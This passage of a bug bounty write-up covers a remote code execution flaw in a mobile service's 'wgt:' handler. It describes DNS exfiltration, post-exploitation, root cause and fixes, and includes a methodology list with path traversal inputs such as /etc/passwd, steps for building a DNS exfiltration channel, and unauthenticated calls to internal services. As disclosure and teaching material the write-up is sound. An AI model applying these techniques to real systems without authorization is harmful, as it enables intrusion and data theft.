- **Data Packets.** Each query begins with the chunk number, followed by the data in Unicode format (which allows binary data) and a random number to prevent caching.
- **Reassembling.** The server checks whether all chunks have arrived, knows the count from the first packet, asks for missing chunks to be resent and waits, then reverses the initial process to reconstruct the data.
As an example, transferring the data `Yashar Shahinzadeh, just for test :)` with this protocol works as follows:
{{media:15}}
The researcher asked [@AmirMSafari](https://x.com/AmirMSafari) to write a standalone exploit that works universally: it generates code to run server-side and receives the DNS interaction. At the time only JavaScript was supported, with PowerShell and Bash to be added.
### Step 8: Post exploitation
With JavaScript execution on the remote server and results coming back over DNS, the bounty was earned. With prior notice to the vendor, the researcher went further to show the real impact, extracting a few key functions. In NodeJS RCE, the `.toString()` function can be used to view the source code of a function. NodeJS is a runtime that lets JavaScript run outside a browser, on a server. RCE stands for remote code execution: running your own code on someone else's machine.
{{media:16}}
The extracted code showed a post-authentication feature that calls an internal web service without requiring authentication:
{{media:17}}
Because of this, the internal web service could be called directly through the `XmlHttpRequest` class, bypassing authentication and authorization. `XmlHttpRequest` is the JavaScript object a page uses to send HTTP requests in the background. Authentication means proving who you are; authorization means being allowed to do what you are trying to do. For example, a service SMS could be sent with the Irancell sender name:
{{media:18}}
Further features were added to the exploit code:
{{media:19}}
A video PoC demonstrates the vulnerability: [youtu.be/HhwrOiw_htc](https://youtu.be/HhwrOiw_htc). A PoC, or proof of concept, is a small demonstration that a bug is real.
## Root cause
The core mistake is in the `wgt:[FILE_PATH]:FUNC(ARGS)` handler. The server takes a file path and a function call from the request body, opens the file in a headless browser and executes the named function on the page. The researcher assumed a checker verifies the function exists in the file before executing it, but the crafted payload still ran.: the crafted payload executed `location.pathname.split("/").join("zZ")` and built a URL to an attacker-controlled domain, which the headless browser resolved. The report does not state the exact implementation of the checker or why it failed, so the precise bypass is not documented.
The second design issue is the network position. The server running the headless browser had no internet access, which is why HTTP callbacks failed, but its DNS queries were forwarded by the internal AD DNS server to the outside, which made the blind execution observable and exfiltratable. The custom AES layer and the extra encoding sat on top of TLS, and the application was not applying SSL pinning.
## Impact
An attacker who can reach the `wgt` handler with a crafted body can run arbitrary JavaScript on the server side. In this case the execution was blind and the server had no internet access, so results could not be returned over HTTP; the DNS tunnel made both confirmation and data exfiltration possible. From the extracted source code, the attacker could call an internal web service without authentication, bypassing authentication and authorization, and could send service SMS with the Irancell sender name. The report does not quantify how many users or systems were exposed, and the post-exploitation work was deliberately limited, with prior notice to the vendor, to demonstrate impact.
## Fix
The report does not describe which changes the vendor made. Based on the described behaviour, the handler should not accept a file path and a function call from the request body at all; if it must, the path should be resolved against a fixed allowlist of files and the function should be selected from a fixed allowlist of names, with no way to inject arbitrary JavaScript. An allowlist is a list of things that are explicitly permitted, and everything else is refused.
## Variants to test
1. **Look for `wgt:`-style handlers in other mobile SDKs.** Search the SDK documentation and the decrypted traffic for patterns of the form `prefix:[path]:func(args)`. A positive result is a request whose response changes when you alter the path or the function name.
2. **Test file path traversal in the path component.** Try `../../../../etc/hosts`, `/etc/passwd` and fuzzed file names as in the report. A positive result is a response containing file contents or an error that reveals the resolved path.
3. **Test arbitrary function execution.** Replace the function with `console.log(123)` or `document.write(123)`, and with a call to a known function followed by your own code. A positive result is output in the response or a side effect you can observe.
4. **Test out-of-band channels separately.** Send payloads that trigger an HTTP request to a server you control and payloads that trigger a DNS lookup to a domain you control, and check both logs. A positive result is a hit in either log, which tells you which channel the target can use.
5. **Build a DNS exfiltration channel.** Encode data in subdomains, split it into chunks with a count packet and per-chunk random labels to defeat caching, and reassemble on your side. A positive result is the full data reconstructed from the DNS logs.
6. **Check `.toString()` on server-side functions.** If you get JavaScript execution in a NodeJS context, call `.toString()` on functions you find. A positive result is source code that reveals internal endpoints and the authentication they expect.
7. **Call internal services directly.** With source code in hand, use `XmlHttpRequest` to call internal endpoints without credentials. A positive result is a successful response from a service that should require authentication.
## Glossary
- **APK**: the file format of an Android application, like an `.exe` on Windows.
- **Active Directory (AD)**: Microsoft's system for managing users, computers and permissions in a company network.
- **AES**: a widely used symmetric encryption standard.
- **Allowlist**: a list of things that are explicitly permitted, with everything else refused.
- **Authentication**: proving who you are.
- **Authorization**: being allowed to do what you are trying to do.
- **Blind test**: a test where you cannot see the result directly in the response.
- **BOLA / IDOR**: a bug where the server lets you access someone else's data by changing an identifier in the request.
- **BurpSuite**: a proxy tool that records and modifies HTTP traffic between a client and a server.
- **Caching**: a DNS server remembering an answer for a while instead of asking again.
- **Certificate**: a digital document that proves a server's identity in HTTPS.
- **Checksum**: a value computed from data so the receiver can detect changes.
- **Chunk**: one small piece of data split for transmission.
- **Cipher**: the Java class that performs encryption and decryption.
- **Cookie**: a small piece of data a website asks your browser to store and send back on every request, so the server can recognise you.
- **DNS (Domain Name System)**: the service that turns names like `example.com` into addresses.
- **DNS data exfiltration**: secretly sending data out of a network by encoding it in DNS queries.
- **Domain controller**: the server in an Active Directory network that holds user and computer information.
- **Echo-based test**: a test where the result appears directly in the response.
- **Encoder / decoder**: a pair of functions that transform data into a scrambled form and back, without a secret key.
- **Endpoint**: a specific URL path on a server that performs an action.
- **Frida**: a tool that attaches to a running app and lets you watch or replace individual functions.
- **Fuzzing**: automatically trying many variations of an input to find one that behaves unexpectedly.
- **Genymotion**: a virtual Android machine that runs on a computer.
- **Headless browser**: a browser with no visible window that opens pages and runs JavaScript on a server.
- **HMAC**: a checksum made with a secret key, used to verify that data was not altered.
- **Hooking**: intercepting a function in a running program to watch or replace what it does.
- **HTTPS**: the encrypted version of HTTP, the protocol browsers use to talk to websites.
- **Initial vector (IV)**: a random starting value that makes the same plaintext encrypt differently each time.
- **Integrity**: the guarantee that data was not altered in transit.
- **Key**: the secret value used to lock and unlock encrypted data.
- **Key exchange**: the process by which two parties agree on a secret key without sending it in the clear.
- **Local file disclosure**: making a server show you a file it should not show.
- **NodeJS**: a runtime that lets JavaScript run outside a browser, on a server.
- **Occam's Razor**: the principle that, when several explanations fit, the simplest one is usually right.
- **OTP (one-time password)**: a short code sent by SMS to prove you own a phone number.
- **Out-of-band**: a channel different from the main one, used to receive a signal when the main channel gives no output.
- **PoC (proof of concept)**: a small demonstration that a bug is real.
- **Proxy**: a program that sits between a client and the internet and forwards traffic, so it can be recorded.
- **RCE (remote code execution)**: running your own code on someone else's machine.
- **Reverse proxy**: a server that sits in front of the real server and forwards requests to it.
- **SDK**: a set of tools a company provides so other developers can build on its platform.
- **Session id**: a random value that identifies one logged-in session.
- **SQL injection**: sneaking database commands into a field the server passes to its database.
- **SSL pinning**: an app trusting only one specific certificate, which stops proxy interception.
- **Stack trace**: the list of function calls that led to a particular point in a program.
- **Symmetric encryption**: encryption where the same key locks and unlocks the data.
- **Threat modelling**: thinking about what an attacker would try before testing.
- **UDP**: a simple transport protocol that sends packets without confirming they arrived.
- **Unicode**: a standard that assigns a number to every character, so any byte can be represented as a character.
- **WBXML**: a compact binary form of XML, a format used a lot in older mobile protocols.
- **XmlHttpRequest**: the JavaScript object a page uses to send HTTP requests in the background.